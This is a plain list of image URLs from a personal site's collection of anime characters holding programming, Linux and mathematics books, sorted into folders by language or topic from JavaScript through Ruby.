+https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Monogatari_Shinobu_Speaking_Javascript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Nijika_Ijichi_holding_javascript_absolute_beginners_guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Ninomae_Ina%27nis_Holding_Eloquent_Javascript.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Ogino_Chihiro_Holding_Professional_Javascript_For_Web_Developers.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Ram_Holding_JavaScript_The_Good_Parts.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Rebeca_Cyberpunk_Edgerunners_Holding_Javascript_The_Definitive_Guide.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Shamiko_Reading_Speaking_Javascript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Suzuran_Holding_Eloquent_Javascript.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Tamaki_Mari_Holding_Eloquent_JavaScript.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Tohsaka_Rin_Holding_JS_For_Dummies.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Tosaka_Rin_Learning_JS.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Yuno_Gasai_Reading_Eloquent_Javascript_Third_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/Zero_Two_Holding_Nodejs_8_the_Right_Way.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Javascript/robin_holds_eloquent_javascript.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Julia/Ninomae_Inanis_Learn_Julia_Programming_Quickly.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Julia/Rin_Mastering_Julia.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Aoi_Inuyama_Kotlin_In_Action.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Chitanda_Eru_Atomic_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Futaba_Igarashi_Holds_Kotlin_With_Android_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Henrietta_Laurent_de_Albert_Atomic_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Inuyama_Kuroe_Atomic_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Maya_Enjoys_Kotlin.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Misato_and_Shinji_Discovering_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Murakami_Shiina_Atomic_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Takanashi_Sei_Holding_Kotlin_In_Action.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Unnamed_Atomic_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/Yuni_Shingyouji_Holding_Kotlin_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/kotlin_witch_c.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kotlin/zero-two-offers-you-valuable-knowledge.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Kubernetes/Fuko_Ibuki_Holding_Kubernetes.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Calliope_Mori_Holds_How_Linux_Works.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Chihiro_Komiya_Reading_Linux_Kernel_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Frieren_Beyond_Journey%27s_End_Holding_Bash_Scripting_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Isana_Higashira_Holding_The_Linux_Command_Line.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Mayuri_Shiina_Holding_Bash_Scripting_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Mayuri_Shiina_Holding_Linux_Kernel_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Nagato_Yuki_Gentoo_Linux.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Ookami_Mio_Linux_Server.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Rin-Shelter_holding_linux_books.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Ryo_Yamada_Reading_ArchLinux_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Sakura_Nene_LDD3.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Sakurajima_Mai_Linux_Essentials.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Linux/Twin_Tail_Glasses_With_Linux_Made_Simple.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lisp/Fuyuno_Haruaki_holding_Let_%20Over_%20Lambda.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lisp/Key_Common_Lisp_2nd_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lisp/Original_by_om5han_On_Lisp_Advanced_Techniques_for_Common_Lisp.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lisp/Sophie_Neuenmuller_Land_of_Lisp.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lisp/Urara_Shiratori_holding_ANSI_Common_Lisp.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Beatrice_Holds_Programming_In_Lua_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Hina_Chono_Programming_In_Lua.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Idolmaster_Million_Live_Yuriko_Nanao_Holding_Programming_in_Lua_by_Roberto_Ierusalimschy.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Kagami_Hiiragi_Programming_In_Lua.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Konno_Yukki_Programming_In_Lua.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Nep_and_Blanc_PIL2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Rin_Shima_Programming_In_Lua.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_5_Full_Programming_In_Lua.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_3.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_4.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_5.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Lua/Yasuraoka_Hanabi_Reading_Lua_Language_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/MATLAB/Liza_Helesta_holding_Programming_with_MATLAB_for_scientists.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/MUMPS/Sakurajima_Mai_Holding_The_Complete_MUMPS.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Aki_Holding_Diestel_Graph_Theory.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Anna_Liebert_Reading_Tensor_Geometry.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Arifureta_Yue_Discrete_Math.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Emma_Verde_Holding_Metric_Spaces_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Eru_Chitanda_Functional_Analysis_Introduction_to_Further_Topics_in_Analysis.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Fumo_Hinanawi_Tenshi_reading_Discrete_Math.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Futaba_Yoshioka_Abstract_Algebra.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Futaba_Yoshioka_Abstract_Algebra_An_Introduction.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Kagari_Atsuko_discrete_maths.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Kozeki_Ui_Nonlinear_Systems.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Mayaka_Ibara_Real_Analysis_Measure_Theory_Integration_and_Hilbert_Spaces.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Mei_Misaki_Math_for_3D_Game_Programming_and_Computer_Graphics.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Neko_Tyan_Linear_Algebra_Kostrikin.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Oikura_Sodachi_Arithmetic_Algebraic_Geometry.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Rei_Hino_Holding_Fractional_Graph_Theory_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Ritsuko_Akagi_Big_Rudin.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Sakurajima_Mai_Holds_Applied_Mathematics_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Senjougahara_Hitagi_Ordinary_Differential_Equations.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Shima_Rin_Reading_Diestel_Graph_Theory.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Squid_Girl_Ikamusume_holds_The_Theory_of_Algebraic_Number_Fields_by_Hilbert.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Tomoko_Kuroki_Holding_Discrete_Mathematics.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Tony_Taka_Calculus_Petrovich.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Violet_Evergarden_Calculus_a_Complete_Course.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Youmu_Konpaku_Holding_Discrete_Math_And_Its_Applications.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Math/Yuuri_Makita_Linear_Algebra_Done_Right.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Banner_Structures_and_Interpretations_of_Anime_Girls_and_Linux_Ricing.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Cirno_Kirisame_Marisa_Learning_Programming_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Cosplay_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Himegoto_Casting_Malloc.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Himegoto_Linked_Lists_Beginner.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Komeiji_Satori_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Kotori_Minami_Looks_Inside_Embedded_Rust.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Murakami_Shiina_SICP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Osakabehime_Py_vs_Js.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Osakabehime_Rust_vs_Go.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Ryo_Yamada_Python_Meme.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Seika_Ijichi_Python_Meme.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Memes/Shouko_Komi_Holding_UwUntu_Notebook.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Asuna-Yuuki-Java-ist-auch-eine-Insel.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Henrietta_Laurent_de_Albert_and_Inuyama_Kuroe_Core_Java_and_Atomic_Kotlin.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Marie_Itami_Selling_Assorted_Books.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Nyaruko_Holding_React_And_Git_Essentials.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Remilia_Scarlet_Holding_Rust_TypeScript_PHP_C_Lua_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Roll-Rockman_C_SICP_Art_Of_Programming.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Ui_Hirasawa_Holding_HTML_And_CSS_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Mixed/Yui_Hirasawa_Holding_A_Lot_Of_Books.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/MongoDB/Nishimiya_Shouko_Learn_MongoDB.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Nim/Suzukaze_Aoba_Nim_In_Action.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Akeno_Himejima_Reading_Practical_Nestjs_Book_Node.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Black_Haired_Girl_With_Scarf_Holding_NodeJs_Design_Patterns_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Girl_With_Glasses_Blue_Eyes_Covering_Face_With_Express_In_Action_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Hifumi_Takimoto_NodeJs.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Light_Haired_Girl_With_Sword_Holding_Beginning_NodeJs_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Mai_Sakurajima_Holding_NextJs_Tutorial.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Node_JS_In_Action.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/NodeJs/Shiratori_Mizuha_reading_Learning_Node.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/OCaml/Iino_Miko_from_Kaguya-sama_Holding_OCaml_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/OCaml/Miyamizu_Mitsuha_Real_World_OCaml.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/OCaml/Rias_Gremory_OCaml.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/OCaml/Sakurajma_Mai_OCaml.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Objective-C/Kujou_Karen_Learns_Objective-C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Objective-C/Rin_Tohsaka_Objective-C.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Objective-C/tenma_maemi_objective-c_1.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Odin/Kiryuu_Kikyou_Holding_Understanding_The_Odin_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Odin/Kozeki_Ui_Holding_Understanding_The_Odin_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Operating%20Systems/Beatrice_Re_Zero_Operating_Systems_Three_Easy_Pieces.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Orchestrator/Emilia_System_Center_Orchestrator_2012.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Aniyuki_Rin_Reading_The_Fckin_Manual.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Chika_Fujiwara_Holding_Inclusive_Design_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Frieren_Sleeping_With_Coders_At_Work.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Hakui_Koyori_holding_Minecraft_Modding_with_Forge.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Hakurei_Reimu_PC98_holding_PC9801_Programming_Bible.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Kurumizawa_Satanichia_holding_Communist_Manifesto_by_Marx.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Kushieda_Minori_Twitter_Fail_Whale_Mug.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Lain_holding_Hacker_Heaven_behind_her_back.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Minami_Kawashima_reading_Sed_and_Awk.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Mokou_And_Keine_Reading_Windows_Kernel_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Momozono_Nanami_Reading_Practical_Binary_Analysis.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Najimi_showing_Literate_Programming.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Nanase_Sena_holding_Drupal_9_Module_Development_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Patchouil_Reading_Windows_Internal_7th_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Suzukaze_Aoba_holding_Autodesk_Saya.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Suzukaze_Aoba_researching_Autodesk_Saya_1.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Suzukaze_Aoba_researching_Autodesk_Saya_2.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Yae_Miko_Spark_The_Definitive_Guide.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Yotsuba_Nakano_Data_Science_do_Zero.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/Yuuki_Asuna_Holding_Windows_Internals_Part_1.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Other/ibuki_fuko_agent_based_modeling.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Akira_Oono_Holding_PHP_Programming_Language.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Alya_holding_PHP_book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Emilia_Holding_Programming_PHP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Gabriel_DropOut_Chisaki_Tapris_PHP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Hatsune_Miku_Holding_PHP_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Hitori_Gotoh_Holding_PHP_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Kanbaru_Holds_Learning_PHP_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Mash_kyrielight_Laravel_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Murasaki_shikibu_php_mysql_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Oreimo_Leon_Atkinson_Core_PHP_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Original_by_Tkimz_Php_Programming_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Patchouli_Knowledge_Holds_PHP_For_Professionals_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Random_Pinterest_Girl_PHP.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Seri_Kikyou_PHP_for_Absolute_Beginners.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Takami_Chika_Holding_PHP_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Tomo_Aizawa_Holding_PHP_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PHP/Vikram_Vaswani_A_Beginners_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Perl/Deathnote_Misa_Perl.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Perl/Iwakura_Lain_Programming_Perl.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Perl/Kenja-No-Mago_Examiner_Perl.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Perl/Kenja-No-Mago_Examiner_Perl2.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Perl/Konosuba_Darkness_Perl.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Perl/Mizuho_Programming_Perl.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Personification/Amada_Kokoro_AMD_Waifu.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Personification/Arikawa_Hime_dpt.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Personification/Docker_Waifu.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Personification/Golang_Waifu.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Personification/Haskell_Ruby_Waifus.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Personification/Rust_Waifu.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PowerShell/Power_PowerShell_TheUltimateBeginnersGuidetoLearnPowerShellStepbyStep.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/PowerShell/Reimu_Holding_PowerShellForITProfessionals_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Prolog/iM%40S_Hoshii_Miki_Art_of_Prolog.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Purescript/Ami_Mizuno_Holding_Purescript_By_Example.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Aharen_Reina_Holding_Python_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Akko_Kagari_The_Python_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Anna_Yanami_Holding_Python_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Anya_with_python_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Aoba_Suzukaze_techgo_Python_For_Beginners.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Barbara_Genshin_Impact_Python_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Chino_and_Meg_from_GochiUsa_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Chise_Hatori_Holding_Python_Book_While_She_Is_Being_Held.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Chiyo_Mihama_With_Python_Homework.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Chiyo_Mihama_With_The_Renegade_Coder_Python_Lab.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Davinci_Python_magic.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Drunk_Kobayashi_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Elaina_With_Effective_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Elizabeth_Holds_Python_Automation_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Emilia_Holding_Intro_to_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Emilico_From_ShadowsHouse_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Freiren_Holding_Python_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Fuko_Ibuki_Holding_Up_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Hanekawa_Holds_Fluent_Python_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Hatsune_Miku_Holding_Python_For_Beginners.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Helena_Blavatsky_Python_data-analytics.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Hirasawa_Yui_Studying_For_interview.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Hoshimi_Junna_Programming_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Jahy_Sama_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Karen_Kujou_Learns_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Katsushika%20Hokusai_Python_tricks.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Kirino_Happy_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Komi_San_Maid_Outfit_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Komi_san_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Machu_Reading_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Makise%20Kurisu_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Marin_Kitagawa_automate_the_boring_stuff_with_python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Marisa_Kirisame_Holding_Python_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Medusa_Python_rider.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Mifune_Shioriko_Holding_The_Python_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Miyashita_Ai_Holding_The_Python_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Moka_Hoto_Holding_Python_For_Beginners.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Nagatoro_Holding_Python_2_in_1.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Natsuki_DDLC_Holding_Python_Book_Embarrassed.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Nijika_Ijichi_Think_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Nursery_Rhyme_Learning_Python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Original_by_Tkimz_Python_Programming_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Original_by_Tkimz_With_The_Renegade_Coder_Python_Lab.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Rias_Gremory_reading_automate_the_boring_stuff_with_python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Rize_Kamishiro_reading_Automate_the_boring_stuff_python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Saint_Martha_Mastering_design_patterns_python.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Sakiko_Togawa_Reading_Python_Machine_Learning.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Satania_reading_Python_For_Kids.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Sengoku_Nadeko_Learn_Python_The_Hard_Way.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Shouko_Komi_Holding_Python_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Tohru-Dragon_Maid_Beginning_Python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Tomoe_Takasago_With_Python_Books.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Vigne_hold_TensorFlow_for_Deep_Learning.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Yotsugi_Ononoki_Reading_Python_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/Yuni_Shingyouji_Holding_Python_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/kagome_with_python.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Python/mai_sakurajima_holding_python_programming_3in1_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Quantum%20Computing/Frieren_Practical_Quantum_Computing_For_Developers.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Quantum%20Computing/Minami_Shizuku_Noda_Kotone_from_Sakura_Trick_Quantum_Field_Theory.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Quantum%20Computing/Urara_Shiratori_Intro_Topological_Quantun_Computation.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/R/Saber_Artoria_R_For_Data_Science.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/R/Shaltear_Overlord_Holding_Efficient_R_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/R/gura_r_for_everyone.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Racket/Nagato_Yuki_HtDP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/RayTracing/Mai_Sakurajima_Ray_Tracing_Gems_II.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ReCT/Renge_Miyauchi_With_ReCT_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Regex/Introducing_Regular_Expressions.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Regex/Yuri_Holds_Regular_Expressions_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ruby/Idolmaster_Cinderella_Girls_Chieri_Holding_Ruby_on_Rails_Tutorial_by_Michael_Hartl.png 